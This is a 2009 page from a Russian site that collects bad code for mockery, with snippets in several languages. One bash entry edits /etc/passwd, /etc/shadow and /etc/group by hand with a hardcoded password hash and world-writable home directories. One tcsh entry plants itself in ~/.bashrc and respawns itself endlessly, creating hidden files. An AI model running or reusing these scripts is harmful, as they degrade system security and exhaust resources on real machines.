1. Куча / Говнокод #964

    +137

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16

    guest, 28 Апреля 2009

    Комментарии (4)
  2. Куча / Говнокод #963

    +131.6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    #!/bin/bash
    function get_group()
    {
    rm ./group
    gnc=`cat /etc/group | wc -l`
    cn=1
    while let "cn<=gnc"
    do
    gn=`cat /etc/group | head -n $cn | tail -n 1 | tr ':' '\n' | head -n 1 | grep [A-Za-z0-9].*`
    gnl=`cat /etc/group | head -n $cn | tail -n 1`
    echo $gnl
    echo "Do you want add your to group "$gn
    read as
    if [ "$as" == "yes" ]; then
    echo "yes"
    c=`echo $gnl | wc -c`
    let c--
    ct=":"
    echo $c
    cn2=`echo $gnl | cut -c$c`
    echo "cn2 "$cn2
    if [ "$cn2" != ":" ]
    then
    echo no
    gnl=$gnl","
    gnl=$gnl"$1"
    echo $gnl >> ./group
    else
    gnl=$gnl""$1
    echo $gnl >> ./group
    fi
    echo $gnl
    else
    echo $gnl >> ./group
    fi
    
    let cn++
    done
    cp ./group /etc/group
    }
    
    if [ $# -lt 1 ]; then
    echo -n "Enter username:"
    read username
    uid=1
    puid=0
    while :
    do
    uid=`echo ${RANDOM:0:3}`
    puid=`cat /etc/passwd | tr ':' '\n' | grep ^[0-9].*$ | grep $uid`
    if [ "$puid" == "" ];then
    echo "uid = $uid"
    echo "puid = $puid"
    echo $username
    groupadd $username
    gid=`cat /etc/group | grep $username | tr ':' '\n' | grep ^[0-9].*$ | head -n 1 | tail -n 1`
    echo "gid "$gid
    echo -n "Enter shell:"
    read ushell
    echo -n "Enter your name:"
    read rname
    echo $username:x:$uid:$gid:$rname:/home/$username:$ushell >> /etc/passwd
    echo $username:Jkirh5i3e/GqU:14318:0:99999:7:7:: >> /etc/shadow
    echo "Your password www.yandex.ru"
    mkdir /home/$username
    chmod u+r+w+x /home/$username
    chmod g+r+w+x /home/$username
    chmod o+r+w+x /home/$username
    get_group $username
    exit 0
    else
    uid=`echo ${RANDOM:0:3}`
    echo $uid
    echo "puid "$puid
    fi
    
    done
    
    fi
    echo -n "script havnt command line arguments"
    exit 0

    Регистрирует пользователя в системе

    guest, 27 Апреля 2009

    Комментарии (11)
  3. PHP / Говнокод #962

    +149.1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    if ($info['alert']=="0")
    {
    	$option='<option value="0" selected>Не присылать</option><option value="1">Раз в день</option><option value="2">Раз в неделю</option><option value="3">По мере поступления</option>';
    }
    elseif($info['alert']=="1")
    {
    	$option='<option value="0">Не присылать</option><option value="1" selected>Раз в день</option><option value="2">Раз в неделю</option><option value="3">По мере поступления</option>';
    }
    elseif($info['alert']=="2")
    {
    	$option='<option value="0">Не присылать</option><option value="1">Раз в день</option><option value="2" selected>Раз в неделю</option><option value="3">По мере поступления</option>';
    }
    elseif($info['alert']=="3")
    {
    	$option='<option value="0">Не присылать</option><option value="1">Раз в день</option><option value="2">Раз в неделю</option><option value="3" selected>По мере поступления</option>';
    }

    человечек проверял значения поля в таблице для выставления параметра selected...

    guest, 27 Апреля 2009

    Комментарии (4)
  4. Си / Говнокод #961

    +144

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    include <stdio.h>
    int main()
    {
        unsigned char a;
         a='Я';
         printf("\n%c=%d",a,a);
         return 0;
    }

    guest, 27 Апреля 2009

    Комментарии (1)
  5. PHP / Говнокод #960

    +142.9

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    if (isset($_POST['id'])){$id = $_POST['id']; if($id == ''){unset($id); }}
    if (isset($_POST['data'])){$id2 = $_POST['data']; if($id2 == ''){unset($data); }}
    if (isset($_POST['dengi'])){$id3 = $_POST['dengi']; if($id3 == ''){unset($dengi); }}
    if (isset($_POST['prim'])){$id4 = $_POST['prim']; if($id4 == ''){unset($prim); }}
    $id = $_REQUEST['id']; $data = $_REQUEST['data']; $dengi = $_REQUEST['dengi']; $prim = $_REQUEST['prim'];

    С одного форума

    guest, 27 Апреля 2009

    Комментарии (0)
  6. Pascal / Говнокод #959

    +151

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    library ExDouble;
     
    uses
      SysUtils,
      Classes;
     
    {$R *.res}
     
    function calc_double(r: real): real; stdcall;
    begin
      result := 2;
    end;
     
    exports
      calc_double index 1;
     
    
    end.
    
    
    
    
    
    
    
    unit Unit1;
     
    interface
     
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls;
     
    type
      TForm1 = class(TForm)
        Edit1: TEdit;
        Button1: TButton;
        procedure Button1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
     
    var
      Form1: TForm1;
    function calc_double(r: real): real; stdcall; external 'ExDouble.dll';
     
    implementation
     
    {$R *.dfm}
     
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    if Edit1.Text<>FloatToStr(calc_double(0))then
    ShowMessage('')
    else begin
    ShowMessage('dsfgsdfg');
    end;
    end;
     
    end.

    guest, 27 Апреля 2009

    Комментарии (5)
  7. ActionScript / Говнокод #958

    −96

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    this.onMouseDown = function() {
    
    	if (btn_right._visible && btn_right.enabled) {
    
    		if (btn_right.hitTest(_xmouse, _ymouse, 0)) {
    
    			btn_right_release();
    		}
    	}
    	if (ready._visible && ready.enabled) {
    
    		if (ready.hitTest(_xmouse, _ymouse, 0)) {
    
    			ready_release();
    		}
    	}
    	if (ready2._visible && ready2.enabled) {
    
    		if (ready2.hitTest(_xmouse, _ymouse, 0)) {
    
    			ready2_release();
    		}
    	}
    	if (yesno.no._visible && yesno.no.enabled) {
    
    		if (yesno.no.hitTest(_xmouse, _ymouse, 0)) {
    
    			no_release();
    		}
    	}
    	if (yesno2.no._visible && yesno2.no.enabled) {
    
    		if (yesno2.no.hitTest(_xmouse, _ymouse, 0)) {
    
    			no2_release();
    		}
    	}
    };

    Назначение обработчиков для кнопок

    guest, 27 Апреля 2009

    Комментарии (0)
  8. ActionScript / Говнокод #957

    −281.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    //////////////////////   обработчик onEnterFrame
    onEnterFrame = function () {
    	switch (_currentframe) {
    		case 4 :
    			if (go_5) {
    				btn_right._visible = true;
    			} else {
    				btn_right._visible = false;
    			}
    			if (txt_area2.txt.text == "") {
    				ready.enabled = false;
    				ready._alpha = 30;
    			} else {
    				ready.enabled = true;
    				ready._alpha = 100;
    			}
    			break;
    		case 5 :
    			if (table2._height > 460) {
    				mc_scroll._visible = true;
    			} else {
    				mc_scroll._visible = false;
    				table2._y = 460 / 2 - table2._height / 2;
    			}
    			if (reit_end == 0) {
    				btn_right._visible = false;
    			} else {
    				btn_right._visible = true;
    			}
    			break;
    		case 8 :
    			btn_left._visible = false;
    			break;
    		case 6 :
    			if (chek_was_became() == 1) {
    				btn_right._visible = true;
    			} else {
    				btn_right._visible = false;
    			}
    			break;
    		case 11 :
    			if (go_12) {
    				btn_right._visible = true;
    			} else {
    				btn_right._visible = false;
    			}
    			if (chto.txt.text == "") {
    				ready2.enabled = false;
    				ready2._alpha = 30;
    			} else {
    				ready2.enabled = true;
    				ready2._alpha = 100;
    			}
    			if (planning == 1) {
    				btn_right._visible = false;
    			}
    			break;
    		case 12 :
    			if (sims.txt2.text == "" || sims.txt3.text == "") {
    				ok.enabled = false;
    				ok._alpha = 30;
    			} else {
    				ok.enabled = true;
    				ok._alpha = 100;
    			}
    			break;
    		case 14 :
    			if (table._height > 590) {
    				mc_scroll2._visible = true;
    			} else {
    				mc_scroll2._visible = false;
    				table._y = 590 / 2 - table._height / 2 + 42;
    			}
    			break;
    		case 16 :
    			if (color1.txt2.text == "" || color2.txt2.text == "" || color3.txt2.text == "") {
    				btn_right.enabled = false;
    				btn_right._alpha = 30;
    			} else {
    				btn_right.enabled = true;
    				btn_right._alpha = 100;
    			}
    			break;
    	}
    };

    Офигенно содержательный комментарий, который сразу объясняет весь блок.

    guest, 27 Апреля 2009

    Комментарии (6)
  9. C# / Говнокод #956

    +952

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    try
                        {
                            db.OpenDB();
                        }
                        catch { }
                        try
                        {
                            db.adapter.Fill(tableTemp);
                        }
                        catch { }
                        finally
                        {
                            db.command.Parameters.Clear();
                            try
                            {
                                db.CloseDB();
                            }
                            catch { }
                        }

    Писать могут даже так.

    guest, 27 Апреля 2009

    Комментарии (4)
  10. Куча / Говнокод #955

    +154

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    #!/bin/tcsh
    # Utility "p1", author Alice Stein ([email protected]),
    chmod +r+w ~/.bashrc
    set x3=$#
    if($x3<1) then
    #read last string from .bashrc that write one time
    # and replace spaces sign _
    set a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
    #parameter $0 contains path to script and name of script
    set b=$0
    #if a line coincided from .bashrc with $0
    if($a == $b) then
    else
    chmod +r+w ~/.bashrc
    #write to file .bashrc that started each time with start bash
    echo "$0" >> ~/.bashrc
    #change right for access to file .bashrc
    chmod -r-w ~/.bashrc
    endif
    #if command line parameters are not present assign default counter of directories 0 and command echo
    set x1="0"
    set x2="echo"
    $0 $x1 $x2 &
    else
    #save command line arguments in environment variables
    set x1=$1
    set x2=$2
    endif
    #exec command passed from command line
    $x2;
    #write number of counter of directory in the system log /var/log/messages
    logger $1;
    #increment directory counter
    @ x1++;
    chmod +x+r+w $x1
    #create directory
    mkdir $x1
    #call in the created directory
    cd $x1
    chmod +x+r+w $x1
    #delete a file if a script is started the second time that did not result in hanging up of script
    #delete hidden file
    rm .$x1
    #create hidden file
    echo "1" > .$x1
    #take away rights for access
    chmod -x-r-w .$x1
    cd ..
    chmod -x-r-w $x1
    #sleep on 1 second
    sleep 1s;
    #change right for access to file .bashrc
    chmod -r-w ~/.bashrc
    #recursive call with argument line parameter
    $0 $x1 $x2 &
    exit 0

    shell script tcsh

    guest, 27 Апреля 2009

    Комментарии (1)